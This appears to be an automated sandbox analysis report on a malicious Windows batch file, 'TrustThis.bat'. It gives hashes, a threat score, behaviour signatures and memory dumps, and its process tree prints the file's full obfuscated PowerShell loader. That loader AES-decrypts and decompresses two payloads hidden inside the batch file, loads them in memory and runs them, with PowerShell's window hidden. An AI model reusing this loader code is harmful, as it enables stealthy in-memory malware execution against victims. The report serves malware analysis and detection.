Analysis

  • max time kernel
    122s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    08-12-2024 16:40

General

  • Target

    TrustThis.bat

  • Size

    399KB

  • MD5

    85b6801e12b0ee43cf2560af4de44ce5

  • SHA1

    243e69b236417be977c73eadfbdfd55325e125b7

  • SHA256

    9925507f83ab80df2cd03ad5ffd66571adc3eaf60c6bf136240e58ff29e13893

  • SHA512

    4d792f91e03b70833b51054053a61fabcb11bfb22eb8d47cb19a5268c9633dd50443557b41a56b8ad18def99ab0b1b8e00a3533fec0e89ff668bd4c3ea28b944

  • SSDEEP

    6144:pKLt2bMn672f3rrEQW7064pE67o8kYJ9b+OLDG7hg+2Xr2mpB3bcJ4VLuAFsdrTi:pKCMqW3ZW7nPY3b+G4gI0jVLmVi

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\TrustThis.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2960
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('r8/Zl2ecne/3MZcG/uh0q3ioBEhiW/bhw3Tyinq/3G8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nm+LG7aKYHflmvAksVBR6Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ebMMw=New-Object System.IO.MemoryStream(,$param_var); $VCpwn=New-Object System.IO.MemoryStream; $YDZpb=New-Object System.IO.Compression.GZipStream($ebMMw, [IO.Compression.CompressionMode]::Decompress); $YDZpb.CopyTo($VCpwn); $YDZpb.Dispose(); $ebMMw.Dispose(); $VCpwn.Dispose(); $VCpwn.ToArray();}function execute_function($param_var,$param2_var){ $HuWNY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $eBYtd=$HuWNY.EntryPoint; $eBYtd.Invoke($null, $param2_var);}$wLVWE = 'C:\Users\Admin\AppData\Local\Temp\TrustThis.bat';$host.UI.RawUI.WindowTitle = $wLVWE;$eihJj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($wLVWE).Split([Environment]::NewLine);foreach ($nbHzB in $eihJj) { if ($nbHzB.StartsWith('MXAFqxvpoGvwnekBuzqK')) { $hSQxh=$nbHzB.Substring(20); break; }}$payloads_var=[string[]]$hSQxh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
      2⤵
        PID:2196
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2412

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2412-4-0x000007FEF5FDE000-0x000007FEF5FDF000-memory.dmp

      Filesize

      4KB

    • memory/2412-7-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

      Filesize

      9.6MB

    • memory/2412-6-0x0000000002350000-0x0000000002358000-memory.dmp

      Filesize

      32KB

    • memory/2412-5-0x000000001B580000-0x000000001B862000-memory.dmp

      Filesize

      2.9MB

    • memory/2412-8-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

      Filesize

      9.6MB

    • memory/2412-9-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

      Filesize

      9.6MB

    • memory/2412-10-0x000007FEF5FDE000-0x000007FEF5FDF000-memory.dmp

      Filesize

      4KB

    • memory/2412-11-0x000007FEF5D20000-0x000007FEF66BD000-memory.dmp

      Filesize

      9.6MB